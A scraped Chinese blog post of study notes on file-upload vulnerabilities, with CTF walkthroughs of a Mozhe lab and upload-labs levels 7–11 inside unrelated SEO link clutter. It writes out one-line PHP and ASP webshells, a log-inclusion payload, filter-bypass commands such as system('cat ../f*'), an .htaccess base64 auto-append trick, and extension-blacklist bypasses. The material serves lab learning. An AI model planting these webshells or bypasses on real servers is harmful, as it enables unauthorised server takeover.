当前位置: 首页 > news >正文

访问外国网站速度慢百度推广一年大概多少钱

访问外国网站速度慢,百度推广一年大概多少钱,公司网站开发费用怎么做账,好看手机网站推荐文件上传的大体都已经学习过了 这个假期在给他强化一下 什么是webshell webshell是web入侵的脚本攻击工具。webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常…

文件上传的大体都已经学习过了 这个假期在给他强化一下

什么是webshell

webshell是web入侵的脚本攻击工具。webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。
web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。

一句话木马基本原理

利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以通过中国蚁剑获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。

  1. <?php @eval($_POST['cmd']); ?>

**原理理解:**相当于为中国蚁剑创建一个可以不断访问网站的门,蚁剑可以通过这个密码‘cmd’,传递一些可以为eval执行的字符串代码,最终呈现的效果就是我们可以管理整个网站的文件。(这个密码不是正经密码,而是内置的一个参数名称,通过蚁剑可以利用这个参数名称上传指定参数,包括可执行的语句)

例如:常见的php一句话原理
<?php eval($_POST['a'])?>
他是shell.php的文件内容
因为只有简短的一行,所以叫一句话木马
通过apache服务器解析php文件,eval函数执行命令,从而控制服务器

用蚁剑、菜刀等工具提升了效率


蚁剑一个软件,你告诉他木马在网站的哪个位置,密码是什么,连接了,点一下,就相当于执行了ls等等各种命令,并且图形化的告诉你有哪些文件

蚁剑连接一句话木马

蚁剑通过连接一句话木马,每个功能操作,都是通过 POST 方式传递不同的执行代码给一句话木马,当一句话木马接收到蚁剑提交过来的数据(也就是代码),通过 eval 函数在目标服务器上执行,从而实现了控制目标服务器。
 

这是目前我已经有的一句话木马,其中的1234.jpg/png 都是和.htaccess .user.ini文件相对应的

 日志注入

nginx服务器常见的存储日志地址 /var/log/nginx

例:我们可以先使用include函数包含日志来查看日志的内容,并且发现,关键字log被过滤,因此可以使用字符串的拼接,payload如下:

GIF89a

<?=include"/var/l"."og/nginx/access.lo"."g"?>

过滤符号[] ;()

1.过滤“[]”

当方括号被过滤,我们可以考虑直接执行system函数来获取flag

例 : system('cat ../f*');

除了直接使用system以外,还可以使用{}来代替[],上传以下一句话木马同样可以实现<?=eval($_REQUEST{'cmd'});?>

2.过滤“;”

 <?= system('cat ../fl*')?>

3.过滤"()"

当()被过滤,在php中,在反引号中括起来的内容,表示执行的是系统命令

例如:system('ls') 与 `ls`功能相同

4.过滤“<?”

可以使用伪协议,.htacess里伪协议读入,写的图片马用base加密。

AddType application/x-httpd-php .abc

php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.abc"

把后缀.abc当作php解析,然后shell.abc的内容用base64加密。比如<?php phpinfo();?>加密变成PD9waHAgcGhwaW5mbygpOz8+

5.php

当对文件内容里的php进行了过滤时,可以采用php短标签来绕过 

#常规标签 <?php ?>

#php短标签 <?= >

 图片马

一般都是只在图片的内容里面添加一句话马,然后上传到服务器上,在通过修改上传包名,或者修改路径,或者后缀名,或者让服务器抛出异常,从而让马运行起来的一个过程。惠州网站建设http:fz.tywl88.com认为,目前这类的马主要是想通过上传来突破服务器的防御。而我们常见的识别后缀名,或者文件类型的方式。不能拦截这类的请求。

目前常见的攻击就是

1,通过brupsuite这类的工具来,修改上传参数,强行绕过js的验证,如果你是通过js验证来过滤的话,这个工具基本就完成突破了。所以从这个方面来说,你要在服务器端,增加一个后端的验证。

2,如果是单纯在后台过滤用户名的话,也是可以通过刚才那个工具来绕过的。后缀名的验证其实这个绕过方式比较多。比如,图片文件名是a.jpg,可以用a.php.jpg来进行伪装。这个也是比较容易突破的,还有就是可以用工具修改上传文件的。

3,还有个更加隐蔽的方法,就是在图片里面加一段一句话马,这个马更加隐蔽,你平时看的时候,基本发现不了,因为看起来就跟普通图片是一样的。只有右键用记事本查看的时候,才能看的到。

将一句话木马加载到图片最后,构造图片马。
在这里插入图片描述
这个时候一句话木马存在于图片txt文档最后。但是图片马并不能直接与蚁剑连接,因为图片在网站中的解析格式不是php,蚁剑不能通过这个后门干坏事。
需要使用文件包含漏洞 单纯的图片马并不能直接和蚁剑连接,因为该文件依然是以image格式进行解析,只有利用文件包含漏洞,才能成功利用该木马。

phtml文件

PHTML(有时叫做PHP)网页是一种包含PHP(一种和JavaScript或 Microsoft VBScript类似的语言)脚本的网页和ASP一样,PHP脚本镶嵌在网页的HTML代码之中。在页面被发送给请求的用户之前,网页服务器调用PHP解释程序来解释和执行PHP脚本。含有PHP脚本的网页通常都以“.php”、“.php3”或“.phtml”作为后缀。和ASP一样,PHP可以被认为是一种“动态网页”。
php3、php4、php5、phtml都会被解析为php执行

asp文件

ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境,可用来创建动态交互式网页并建立强大的web应用程序。当服务器收到对ASP文件的请求时,它会处理包含在用于构建发送给浏览器的HTML(Hyper Text Markup Language,超文本标记语言)网页文件中的服务器端脚本代码。除服务器端脚本代码外,ASP文件也可以包含文本、HTML(包括相关的客户端脚本)和com组件调用。

ASP一句话木马是一种常见的Web后门,攻击者可以通过该后门获取被攻击网站的管理权限。该漏洞可以通过在服务器中上传asp一句话木马马文件,然后通过URL来访问该文件,从而执行任意代码。

<%eval(request("123"))%>

aspx文件

aspx文件是微软的在服务器端运行的动态网页文件,属于ASP.NET技术。ASP.NET是由微软在·NET Framework框架中所提供,开发Web​应用程序的类库​,封装在System.Web.dll文件中,显露出System.Web命名空间,并提供ASP.NET网页处理、扩充以及HTTP通道的应用程序与通信处理等工作,以及Web Service​的基础架构。ASP.NET是ASP技术的后继者,但它的发展性要比ASP技术强大许多。

aspx一句话木马是一种基于ASP.NET框架的Trojan程序,它可以在服务器上执行恶意代码。这种木马可以窃取用户的敏感数据、删除/修改系统文件等,其主要特点包括隐藏、易于传播以及不易发现等。

与其他Trojan相比,aspx一句话木马具有以下几个优势:其一,没有任何文件被创建,避免了杀毒软件的检查;其二,不需要管理员密钥就可以访问远程服务器,并且可以执行任意代码。

asp与aspx的区别

.asp是asp的文件后缀名

.aspx是asp.net的文件后缀名

说直白些,这种文件就是动态的网页~

asp.net又叫 asp+ 是动态​网络编程​的一种设计语言。

所谓动态网 就如 bbs 留言板聊天室等等```​

可以用 asp,php,jsp.net来写

那么asp就是asp.net的前身

 以上这些是我补充进来的

墨者学院 WebShell文件上传漏洞分析溯源(第1题)

打开网页 发现上传窗口 上传php一句话木马 发现上传失败

上传一个照片看看 

发现成功

怀疑是文件类型限制 抓包修改一下  发现上传失败

 查看他的目标 尝试上传php5

 

 上传成功,用蚁剑连接

 在var/www/html中找到flag

 

 upload-labs

第七关

第七关提示

 源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

从源码中可以看出没有对文件名后缀的空白使用trim()进行过滤,借助windows系统的特性,文件名中的空格在最后保存文件时会被作为空处理,最后在保存的时候把后面的空格自动删除掉。

但是在程序中检查代码的时候检查到空格却不能自动删除空格。同时又绕过了黑名单的验证

 trim() 函数

trim() 方法用于删除字符串的头尾空白符,空白符包括:空格、制表符 tab、换行符等其他空白符等。

trim() 方法不会改变原始字符串。

trim() 方法不适用于 null, undefined, Number 类型。

解题方法

上传php文件 接着抓包 在后缀名后面添加空格 在用蚁剑连接即可

点击forword 返回包 发现上传成功

第八关

 查看提示以及源码

发现没有对后缀名末尾的点进行处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过

bp抓包 再返回

 

第九关

 提示及源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

没有对后缀名中的’::$DATA’进行过滤。

补充:在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"

 

抓包进行绕过

 

第十关

 

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

代码先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar函数来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用1.php. .(点+空格+点)来绕过 

 strrchar函数

 解题

$file_name = deldot($file_name);//删除文件名末尾的点,重点就是这里。在代码中可以看出对所有的过滤都是采用的是一次性过滤,这里删除末尾的点. 只删除了一次,那么我们就可以使用

点+空格+点绕过 ,deldot()这个函数的作用就是删除末尾的点,当检查到末尾的点时,他会进行删除,然后继续先前检测点,但是这个deldot这个函数遇到空格会停下来,相等于碰到空格就终止操作。所以我们 只要在上传文件的时候使用 点+空格+点 绕过就好了,这样我们在检查的文件

原本是1.php. . ,就变成了1.php. ,那么1.php.  ,既不在黑名单中又可以成功进行绕过,又利用了系统的特性 ,在保存这个文件的时候系统又自动去除掉了1.php. 末尾的点。最终保存在电脑的文件就变成了1.php
但是 我的没有按这种方法绕过去 用双写后缀绕过了

第十一关

提示及源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

 这一关重点的是str_ireplace($deny_ext,"", $file_name);这个函数,将文件名中出现在黑名单的这些后缀都替换成空,假如我们上传一个phpinfo.php被过滤后就变成了phpinfo,就没有后缀无法解析了,但是她这次也是使用的是一次性过滤,比如说我们上传phpinfo.phpphp,那么在一次性被过滤后我们原本上传的phpinfo.phpphp,就变成了phpinfo.php。 前面的php被匹配到替换成功,但是后面的第二个php没有被替换成空。


 

http://www.hengruixuexiao.com/news/40722.html

相关文章:

  • 移动端网站模板怎么做的温州百度推广公司电话
  • 微信公众号的制作方法和步骤长清区seo网络优化软件
  • 个人网站可备案sem网络推广公司
  • 莱阳网站制作百度精简版入口
  • 用wp做网站备案成都网络营销推广
  • wordpress 功能块seo推广软件排行榜
  • 石大网页设计与网站建设客观题百度产品优化排名软件
  • 莆田 做外国 网站推广网站的方法
  • 东营网站建设东营市南一路东营软件园英在线外链推广
  • wordpress修复廊坊快速优化排名
  • 在阿里巴巴上做网站需要什么成都新一轮疫情
  • 建设集团网站 技术支持中企动力电子商务与网络营销教案
  • 网站启用cdn加速人民日报官网
  • 手机ps网页版在线制作西安seo外包行者seo06
  • app软件开发公司推荐一个网站可以优化多少关键词
  • 宁波做网站建设推广朋友圈广告代理商官网
  • 知彼网络网站建设免费推广公司
  • 做的网站没有手机版精准推广的渠道有哪些
  • 免费的发帖收录网站如何提高百度搜索排名
  • 跟做网站相关的法律百度推广电话客服24小时
  • 寿光网站建设产品品牌推广策划方案
  • wordpress插件 破解无锡网站建设seo
  • 上传网站步骤国际足联世界排名
  • 西安免费做网站多少钱汕头百度关键词推广
  • 做网站需要学会做哪些东西aso排名
  • 湖州网站制作东莞谷歌推广公司
  • 营销网站制作郑州手机怎么创建自己的网站平台
  • 深圳网站优化排名网站seo什么意思
  • 商丘微信推广平台深圳seo公司排名
  • 网站建设公司无锡北京关键词快速排名